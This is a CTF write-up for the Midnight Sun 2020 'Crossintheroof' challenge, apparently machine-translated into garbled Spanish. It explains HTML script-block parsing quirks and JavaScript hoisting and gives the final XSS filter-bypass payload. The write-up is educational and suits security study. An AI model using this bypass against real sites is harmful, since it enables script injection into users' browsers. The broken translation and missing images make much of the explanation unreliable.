Sol de medianoche CTF 2020

El problema más difícil, por no hacerlo, la calidad es alta, siento la magia de Occidente, porque ningún medio, sólo puedo tratar de reproducirlo

Crossintheroof

Bajo / fuente a la fuente:

<?php
 header('X-XSS-Protection: 0');
 header('X-Frame-Options: deny');
 header('X-Content-Type-Options: nosniff');
 header('Content-Type: text/html; charset=UTF-8');

if(!isset($_GET['xss'])){
    if(isset($_GET['error'])){
        die('stop haking me!!!');
    }

    if(isset($_GET['source'])){
        highlight_file('index.php');
        die();
    }

    die('unluky');
}

 $xss = $_GET['xss']?$_GET['xss']:"";
 $xss = preg_replace("|[}/{]|", "", $xss);

?>
<script>
setTimeout(function(){
    try{
        return location = '/?i_said_no_xss_4_u_:)';
        nodice=<?php echo $xss; ?>;
    }catch(err){
        return location = '/?error='+<?php echo $xss; ?>;
    }
    },500);
</script>
<script>
/* 
    payload: <?php echo $xss ?>
*/
</script>
<body onload='location="/?no_xss_4_u_:)"'>hi. bye.</body>

Para no enredar este problema, primer vistazo a un html cuenta:
Aquí Insertar imagen Descripción
aquí con un comentario escrito una etiqueta <script>, y la etiqueta o como una cadena, mirada a los resultados, se encuentra no sólo no hacer estallar, y uno más </ script> etiqueta
Aquí Insertar imagen Descripción
HTML al analizar, y determina automáticamente la integridad del complemento etiqueta, por ejemplo siguiente ejemplo

<!DOCTYPE html>
<html>
<head>
	<title></title>
</head>
<body>

<script>
alert(1)

Aquí acaba de escribir una etiqueta de script y DBO etiqueta, ayuda html nosotros de forma automática llenos
Aquí Insertar imagen Descripción
pero Incluir automáticamente la etiqueta no se ha resuelto correctamente, vistazo a este ejemplo:

<script>
    var example = 'Consider this string: <!-- <script>';
    alert(1)
test</script>
<body>hello world</body>

Normalmente se abrirá, y luego mundial muestra hola, pero no pasó nada
Aquí Insertar imagen Descripción
mirada html cuidadosamente analizada
Aquí Insertar imagen Descripción
primera prueba </ script> etiqueta se utiliza para realizar anotaciones en el <! - <script> correspondencia etiqueta, y luego desde el exterior también hay una capa de escritura, html generado automáticamente / script lleno, pero hizo notar aquí que el cuerpo de la etiqueta y su contenido se incorporan dentro de la etiqueta script, que también llevó a la etiqueta del cuerpo no puede ser resuelto correctamente, esta es una pregunta con trampa

La forma correcta es escapar de la secuencia de comandos:

<script>
    var example = 'Consider this string: <!-- <\script>';
    alert(1)
test</script>
<body>hello world</body>

Después de escapar normales analítica y pop
Aquí Insertar imagen Descripción
este ejemplo es el mismo:

<script>
  var example = 'Consider this string: <!-- <script>';
  alert(1)
</script>
<!-- despite appearances, this is actually part of the script still! -->
<script>
// this is the same script block still...
</script>

Podemos ver el color es diferente, que debe ser anotada cuerdas a pesar ...... no han resuelto adecuadamente
Aquí Insertar imagen Descripción
manera correcta es utilizar el carácter de escape:

<script>
  var example = 'Consider this string: \<!-- \<script>';
  alert(1)
</script>
<!-- despite appearances, this is actually part of the script still! -->
<script>
// this is the same script block still...
</script>

Aquí Insertar imagen Descripción
Artículo de referencia: https://html.spec.whatwg.org/multipage/scripting.html#restrictions-for-contents-of-script-elements

O puede escribir el carácter de comentario intacta, por lo que la etiqueta script se completa anotada, html y no para resolver

<script>
    var example = 'Consider this string: <!-- <script> -->';
    alert(1)
test</script>
<body>hello world</body>

correcta visualización
Aquí Insertar imagen Descripción
volver sobre el tema:
el principio es un filtro normal:

 $xss = preg_replace("|[}/{]|", "", $xss);

Luego js

<script>
setTimeout(function(){
    try{
        return location = '/?i_said_no_xss_4_u_:)';
        nodice=<?php echo $xss; ?>;
    }catch(err){
        return location = '/?error='+<?php echo $xss; ?>;
    }
    },500);
</script>
<script>
/* 
    payload: <?php echo $xss ?>
*/
</script>
<body onload='location="/?no_xss_4_u_:)"'>hi. bye.</body>

En primer lugar los js establecer un setTimeout es 500 ms después de la ejecución irán try {} catch {} Esta declaración,
pero la parte inferior hay un salto en el cuerpo de la etiqueta, sin duda será un primer salto normal, pero que pasan acaba de decir truco:
<!-- <script>para que el cuerpo no se resuelve adecuadamente
Aquí Insertar imagen Descripción
y luego entrar en el intento de captura, probar aquí por un buen inicio y estaban

return location = '/?i_said_no_xss_4_u_:)';

No podemos conducir a XSS, pero si el error no puede saltar y en la captura y el eslogan es XSS pueden ser directos, tales como:

<script>
setTimeout(function(){
    try{
        return location = '/?i_said_no_xss_4_u_:)'+alert(1);
        nodice='';
    }catch(err){
        return location = '/?error=';
    }
    },500);
</script>

Aquí Insertar imagen Descripción
Basta con meter después del salto, entonces es como recibir una

En JavaScript, siempre que sea de declarar funciones y variables, independientemente de su alcance es global o local, que se trasladará a la parte superior de su alcance. Esto se conoce como actualización JavaScript.

En primer lugar, las variables de declarar JavaScript en el fondo, y luego inicializarlo. Mejor antes de ejecutar cualquier código para controlar las declaraciones de variables.
Sin embargo, en javascript, las variables no declaradas no existen en su código antes de su distribución. Por lo tanto, cuando se realiza la asignación, la asignación de un valor a una variable no declarada implícitamente a crearlo como una variable global. Esto significa que todas las variables no declaradas son variables globales.

Esa es una variable no declarada es una variable global, la declaración de variables es una variable local, vistazo a un ejemplo para facilitar la comprensión
Aquí Insertar imagen Descripción

las variables no declaradas asignados por el alcance global de Javascript, por lo que puede imprimir fuera de la función, pero en la variable B, el alcance es limitado y no podemos estar fuera usada, por lo que habrá ReferenceError.

Imprimir las variables locales en el error externo llevado al
artículo detallado: https://www.geeksforgeeks.org/javascript-hoisting/

Volver a este tema, ubicación en js ha sido declarado, y luego volver a dejar ubicación = 1; también está dada
Aquí Insertar imagen Descripción
por lo que la carga final es:

/?xss=alert(1);let location=1;<!-- <script

Nota: Este script no se puede cerrar, porque no hay cotizaciones paquete será directamente ser entendido como cerrado después de una etiqueta de script

En la siguiente manera, a la mirada / cambio de secuencia de comandos en algunos de lo obvio
Aquí Insertar imagen Descripción
no está cerrada a la normalidad
Aquí Insertar imagen Descripción
artículo de referencia:
https://www.redmango.top/article/26
https://github.com/hrca-writeups/CTF-Writeups/blob/master / 2020 / sol de medianoche CTF 2020 Quals / Crossintheroof.md
Aquí Insertar imagen Descripción

ShitHappens

gugugu

Supongo que te gusta

Origin www.cnblogs.com/W4nder/p/12664221.html
Recomendado
Clasificación